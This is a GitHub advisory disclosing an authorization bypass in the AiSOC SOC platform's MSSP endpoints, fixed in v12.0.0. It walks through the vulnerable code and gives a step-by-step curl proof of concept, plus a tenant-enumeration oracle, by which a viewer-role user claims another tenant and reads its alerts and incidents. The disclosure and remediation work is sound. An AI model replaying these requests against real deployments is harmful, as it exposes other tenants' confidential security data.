Improper Access Control and Authorization Bypass Through User-Controlled Key and Incorrect Authorization in aisoc
What fixes it
- 12.0.0aisoc, otherGitHub
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
Summary
Any authenticated user in AiSOC — including an account holding only the **viewer role, the lowest-privilege role the product defines — can create an MSSP "organisation" and then attach any other tenant** to it by UUID. The attach is accepted without any check that the caller owns, administers, or has any relationship to that tenant. Once attached, the target tenant's alerts, cases and security posture become readable through the MSSP portfolio endpoints.
Three HTTP requests are required. No privilege escalation, no user interaction, no prior relationship with the target, and no special configuration. The only precondition is that the target tenant is not *already* a member of another organisation — and in any deployment that does not use the MSSP feature, no tenant is claimed, so every tenant is attachable.
**Severity: High — CVSS v3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N = 8.2**
Weaknesses: CWE-284 (Improper Access Control), CWE-639 (Authorization Bypass Through User-Controlled Key), CWE-863 (Incorrect Authorization)
Verified by execution against a stock deployment built from commit 1769e1ab (v11.2.0). Full reproduction in PoC below.
---
Details
Component: services/api — core API, MSSP module. Image ghcr.io/beenuar/aisoc-core-api:latest.
Attack surface — the three requests and what actually guards each
All routes are mounted by services/api/app/api/v1/endpoints/mssp.py under router prefix /mssp (mssp.py:46), included in the v1 router as /api/v1.
| # | Request | Handler | Authorization actually enforced | |---|---|---|---| | 1 | POST /api/v1/mssp/organizations | create_organization, mssp.py:1022 | Authentication only — Depends(get_current_user) at mssp.py:1026 | | 2 | POST /api/v1/mssp/organizations/current/tenants | add_tenants_to_portfolio, mssp.py:1073 | Depends(_admin_scope) at mssp.py:1076 — satisfied by request 1 | | 3 | GET /api/v1/mssp/portfolio/alerts (also /portfolio, /tenants, /incidents) | mssp.py:914, :876, :959, :971 | Depends(_scope) — any member of the attacker's own organisation |
The attacker never needs a permission the viewer role lacks. For reference, ROLE_PERMISSIONS["viewer"] (services/api/app/core/security.py:136-142) is:
"viewer": ["alerts:read", "cases:read", "reports:read", "threat_intel:read", "actions:read"]
None of mssp:*, settings:write, users:write or admin:tenants is involved anywhere in this chain.
Defect 1 — create_organization is gated on authentication, not authorization
# services/api/app/api/v1/endpoints/mssp.py:1022-1053
@router.post("/organizations", response_model=OrganizationOut, status_code=status.HTTP_201_CREATED) # :1022
async def create_organization(
body: OrganizationCreate,
db: AsyncSession = Depends(get_db),
current_user: CurrentUser = Depends(get_current_user), # :1026 <-- no require_permission(...)
) -> Organization:
"""Create an operator organisation around the caller's own tenant.
The creator becomes its owner. Available to any authenticated user
because there is no organisation to be a member of yet ...
"""
...
db.add(OrganizationMember(org_id=org.id, user_id=current_user.user_id, org_role="owner")) # :1053The intent ("there is nothing to authorise yet") is sound in isolation. The defect is that owner is a portfolio-wide, administering role (services/api/app/models/organization.py:43 and :50):
PORTFOLIO_WIDE_ROLES: frozenset[str] = frozenset({"owner", "admin"}) # :43
ADMINISTERING_ROLES: frozenset[str] = frozenset({"owner", "admin"}) # :50So request 1 is not merely "create a container" — it is **an unprivileged user minting a credential that satisfies _admin_scope (mssp.py:772) and _scope (mssp.py:747)**, the two dependencies guarding every privileged MSSP operation, including request 2.
Defect 2 — add_tenants_to_portfolio never checks the caller's authority over the tenant
# services/api/app/api/v1/endpoints/mssp.py:1073-1110
@router.post("/organizations/current/tenants", status_code=status.HTTP_200_OK) # :1073
async def add_tenants_to_portfolio(
body: TenantGrant,
scope: PortfolioScope = Depends(_admin_scope), # :1076 (attacker satisfies this via Defect 1)
db: AsyncSession = Depends(get_db),
current_user: CurrentUser = Depends(get_current_user),
) -> dict[str, object]:
"""Bring tenants under management.
A tenant already managed by another organisation is rejected rather than
reassigned ...
"""
for tenant_id in body.tenant_ids: # :1091
tenant = await db.get(Tenant, tenant_id)
if tenant is None:
rejected[str(tenant_id)] = "tenant not found"
continue
claim = (await db.execute(select(OrganizationTenant).where(
OrganizationTenant.tenant_id == tenant_id))).scalar_one_or_none()
if claim is not None: # :1097 <-- the ONLY check
rejected[str(tenant_id)] = "already in this portfolio" if claim.org_id == scope.org_id \
else "managed by another organisation"
continue
db.add(OrganizationTenant(org_id=scope.org_id, tenant_id=tenant_id, relationship="managed", ...))body.tenant_ids is attacker-supplied JSON. The loop verifies exactly two things: that the tenant exists, and that it is not already claimed. It never asks whether the caller is entitled to claim it. There is no ownership check, no invitation record, no consent token, and no platform-admin assertion.
The UNIQUE (tenant_id) constraint (services/api/migrations/058_mssp_organizations.sql:89) exists to prevent *re-assignment*, not to govern *first assignment* — the code comment at :78 calls it "a boundary, not a convenience", but it is a boundary on reassignment only. It is a precondition the attacker can satisfy; it is not an access control.
Defect 3 — the read path treats portfolio membership as proof of authorization
# services/api/app/services/org_scope.py:146-148
if role in PORTFOLIO_WIDE_ROLES:
tenant_ids = portfolio # :147 every tenant in the org, as a set of UUIDs
portfolio_wide = True# services/api/app/services/mssp_portfolio.py:345-346 tenant_ids = require_scope(scope) clauses = ["a.tenant_id = ANY(:tenant_ids)"] # :346
Because the tenant was written into the portfolio by request 2, this predicate now legitimately matches the victim's rows. The query is correctly parameterised and correctly tenant-scoped — against the *attacker's* definition of "their tenants", which they just authored.
The composition is the vulnerability. Each piece is defensible in isolation; together they let an unprivileged user declare an arbitrary tenant to be theirs, and then be believed.
Why the existing controls do not stop it
- **
_admin_scope/PORTFOLIO_WIDE_ROLES** — the control is real, but its trust anchor (org_role) is self-assigned by the attacker in Defect 1. - **
UNIQUE (tenant_id)** — prevents a tenant being *moved* between organisations, not *first-claimed*. - CI route-scope gate —
scripts/check_route_tenant_scope.pypasses all 667 routes. It verifies each route's tenant argument is intersected with a resolved scope, which it is. It cannot see that the scope is attacker-mintable and its membership unvalidated at insertion. - The module's own documentation asserts the property that does not hold. The docstring at
mssp.py:1080-1087claims the design prevents "a cross-tenant transfer performed by whoever asked last". It prevents *transfer*, not *initial claim*.
Additional: tenant-enumeration oracle
Request 2 returns a distinct message per UUID state, so it doubles as an oracle: "tenant not found" (UUID does not exist), "managed by another organisation" (exists, already claimed), "added" (exists, unclaimed — and now disclosed to the caller).
Verification environment
- Version 11.2.0, commit
1769e1ab3b5adce77705617e72d7da65f5c97a45, branchmain. - Images built from this commit with
docker compose build api. - No customisation: the reproduction uses the shipped images and default settings. Optional integrations were disabled only because the test host has no Kafka/ClickHouse/Neo4j/Qdrant — none of them is involved in the flaw.
---
PoC
1. Environment
# Images built from this repository docker compose build api # Postgres docker network create aisoc-test docker run -d --name pg --network aisoc-test -p 127.0.0.1:15432:5432 \ -e POSTGRES_DB=aisoc -e POSTGRES_USER=aisoc -e POSTGRES_PASSWORD=aisoc_dev_secret \ postgres:16-alpine # The API. The AISOC_DISABLE_* flags are only because this host lacks those # integrations; none is involved in the flaw. docker run -d --name aisoc-api-test --network aisoc-test -p 127.0.0.1:18000:8000 \ -e DATABASE_URL="postgresql+asyncpg://aisoc:aisoc_dev_secret@pg:5432/aisoc" \ -e ENVIRONMENT=development \ -e SECRET_KEY="poc-secret-key-not-insecure-list-0000000000000000" \ -e AISOC_CREDENTIAL_KEY="<any Fernet key>" \ -e AISOC_DISABLE_KAFKA=true -e AISOC_DISABLE_CLICKHOUSE=true \ -e AISOC_DISABLE_NEO4J=true -e AISOC_DISABLE_QDRANT=true \ ghcr.io/beenuar/aisoc-core-api:latest # The service applies services/api/migrations/*.sql itself at startup (82 files).
2. Seed two unrelated tenants and a viewer account
-- Tenant A: the attacker's own tenant (any account belongs to some tenant)
INSERT INTO tenants (id,name,slug,plan,is_active,settings,limits,created_at,updated_at)
VALUES ('aaaaaaaa-0000-0000-0000-00000000000a','Attacker Corp','attacker-tenant','free',true,'{}','{}',now(),now());
-- Tenant B: the VICTIM — unrelated, must not be readable
INSERT INTO tenants (id,name,slug,plan,is_active,settings,limits,created_at,updated_at)
VALUES ('bbbbbbbb-0000-0000-0000-00000000000b','Victim Bank PLC','victim-bank','enterprise',true,'{}','{}',now(),now());
-- The attacker: lowest-privilege role in the product
INSERT INTO users (id,tenant_id,email,username,hashed_password,role,is_active,is_verified,preferences,created_at,updated_at)
VALUES ('aaaaaaaa-0000-0000-0000-0000000000a1','aaaaaaaa-0000-0000-0000-00000000000a',
'attacker@evil.example','attacker','x','viewer',true,true,'{}',now(),now());
-- The victim's alerts (titles deliberately sensitive, to make the disclosure unambiguous)
INSERT INTO alerts (id,tenant_id,title,severity,status,priority,mitre_tactics,mitre_techniques,
source_event_ids,ai_recommendations,affected_ips,affected_hosts,affected_users,affected_assets,
entities,child_alert_ids,is_merged,raw_event,enrichment_data,tags,event_time,first_seen,last_seen,
created_at,updated_at,is_synthetic)
VALUES
('bbbbbbbb-0000-0000-0000-0000000000b1','bbbbbbbb-0000-0000-0000-00000000000b',
'SWIFT wire transfer $2.4M approved from compromised operator account','critical','open',1,
'[]','[]','[]','[]','[]','[]','[]','[]','[]','[]',false,'{}','{}','[]',now(),now(),now(),now(),now(),false),
('bbbbbbbb-0000-0000-0000-0000000000b2','bbbbbbbb-0000-0000-0000-00000000000b',
'Ransomware staging detected on FIN-DB-01 (domain admin beacon)','high','new',2,
'[]','[]','[]','[]','[]','[]','[]','[]','[]','[]',false,'{}','{}','[]',now(),now(),now(),now(),now(),false);The attacker then authenticates as an ordinary console session. For this test an HS256 JWT signed with the deployment's SECRET_KEY was minted for the viewer user:
TOKEN=<HS256 JWT, sub=aaaaaaaa-0000-0000-0000-0000000000a1, type=access, signed with SECRET_KEY> API=http://127.0.0.1:18000
3. Confirm the attacker's identity and that they hold nothing
$ curl -H "Authorization: Bearer $TOKEN" $API/api/v1/auth/me
{"id":"aaaaaaaa-0000-0000-0000-0000000000a1",
"tenant_id":"aaaaaaaa-0000-0000-0000-00000000000a",
"email":"attacker@evil.example","role":"viewer", ...} HTTP 2004. Baseline — the viewer cannot read the victim's data
$ curl -H "Authorization: Bearer $TOKEN" $API/api/v1/mssp/portfolio/alerts HTTP 403 $ curl -H "Authorization: Bearer $TOKEN" $API/api/v1/mssp/organizations/current HTTP 403
This baseline matters: the victim's data is not readable before the exploit. Everything below is what changes it.
5. Step 1 — the viewer founds an organisation (authentication only)
$ curl -X POST $API/api/v1/mssp/organizations \
-H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
-d '{"slug":"poc-org","name":"PoC Org"}'
{"id":"aa2164ad-44ce-47be-a5ce-18404432f4ea","slug":"poc-org","name":"PoC Org",
"kind":"mssp","home_tenant_id":"aaaaaaaa-0000-0000-0000-00000000000a",
"is_active":true} HTTP 201No permission was required. The caller is now owner.
6. Step 2 — attach the victim tenant by UUID
$ curl -X POST $API/api/v1/mssp/organizations/current/tenants \
-H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
-d '{"tenant_ids":["bbbbbbbb-0000-0000-0000-00000000000b"]}'
{"added":["bbbbbbbb-0000-0000-0000-00000000000b"],"rejected":{}} HTTP 200"rejected":{} — the API accepted the claim with no objection. This is the core of the vulnerability.
7. Step 3 — read the victim's data
$ curl -H "Authorization: Bearer $TOKEN" $API/api/v1/mssp/portfolio/alerts
HTTP 200
[{"alert_id":"bbbbbbbb-0000-0000-0000-0000000000b1",
"tenant_id":"bbbbbbbb-0000-0000-0000-00000000000b",
"tenant_name":"Victim Bank PLC",
"title":"SWIFT wire transfer $2.4M approved from compromised operator account",
"severity":"critical","status":"open"},
{"alert_id":"bbbbbbbb-0000-0000-0000-0000000000b2",
"tenant_id":"bbbbbbbb-0000-0000-0000-00000000000b",
"tenant_name":"Victim Bank PLC",
"title":"Ransomware staging detected on FIN-DB-01 (domain admin beacon)",
"severity":"high","status":"new"}]The same portfolio now also exposes, to the same viewer account:
GET /api/v1/mssp/portfolio -> 200 {"org_role":"owner","portfolio_wide":true,"scoped_tenants":2,
"summary":{"tenants":2,"open_alerts":2,"critical_alerts":...}}
GET /api/v1/mssp/tenants -> 200 per-tenant posture: alert counts, MTTR, activity
GET /api/v1/mssp/incidents -> 200 the victim's incidents8. Optional — tenant-enumeration oracle
$ curl -X POST $API/api/v1/mssp/organizations/current/tenants \
-H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
-d '{"tenant_ids":["00000000-0000-0000-0000-000000000000",
"bbbbbbbb-0000-0000-0000-00000000000b"]}'
{"added":[],
"rejected":{"00000000-0000-0000-0000-000000000000":"tenant not found",
"bbbbbbbb-0000-0000-0000-00000000000b":"already in this portfolio"}}The "added" case is the exploit itself, so the oracle and the vulnerability are the same request.
---
Impact
This is a complete cross-tenant confidentiality breach in a multi-tenant SOC platform, reachable by the lowest-privilege authenticated account.
- Confidentiality breach between customers. A self-hosted or managed AiSOC instance holds multiple tenants' security telemetry, alerts and incidents. This flaw lets any authenticated user of any tenant read any other tenant's — the exact property a multi-tenant SOC is sold on.
- Who is impacted: every AiSOC deployment that has more than one tenant and does not use the MSSP feature. Because MSP/MSSP is optional, no tenant is claimed by default, so every tenant is attachable. Deployments that already use MSSP are partially protected only where the target tenant happens to be already claimed.
- No privileged account needed.
vieweris the floor of the role model: read-only seats, contractors, auditors, trial tenants, and any account an attacker can obtain or create. - Silent and repeatable. Nothing logs as anomalous; the attacker's organisation is a legitimate object they own, and the reads are correctly scoped against it.
- Secondary disclosure. Alert and case content routinely contains hostnames, usernames, internal IPs and attacker payloads — material for lateral movement or for targeting the victim's incident response.
- Full tenant enumeration via the oracle in PoC §8.
Suggested remediation (summary): (1) gate create_organization (mssp.py:1022) on a platform-scoped permission rather than Depends(get_current_user) alone; (2) in add_tenants_to_portfolio (mssp.py:1091) validate the caller's authority over every tenant attached — "unclaimed" must not be sufficient, the tenant must have been offered via an invite record, signed consent/claim token, or platform-admin assertion; (3) make claiming a two-sided handshake approved by the target tenant's administrator, recorded in the audit log; (4) re-validate membership against the authoritative consent record at read time in resolve_portfolio_scope (org_scope.py:146-148) so a bad write cannot become a bad read; (5) audit any route that intersects a caller-supplied identifier with a caller-mintable scope — scripts/check_route_tenant_scope.py cannot detect this class.
---
Maintainer response
Confirmed and fixed, and the scope was wider than the routes themselves. Closing the four write routes alone would not have been enough, because onboarding let a caller become the parent tenant first. Adoption now requires the child to have invited that specific parent from its own settings, and the portfolio route reuses the same consent check.
Thank you for the report.
Fixed in v12.0.0.
Text from GitHub Advisory Database
Affected versions 1
- aisoc, other >= 10.0.0, <= 11.2.0GitHub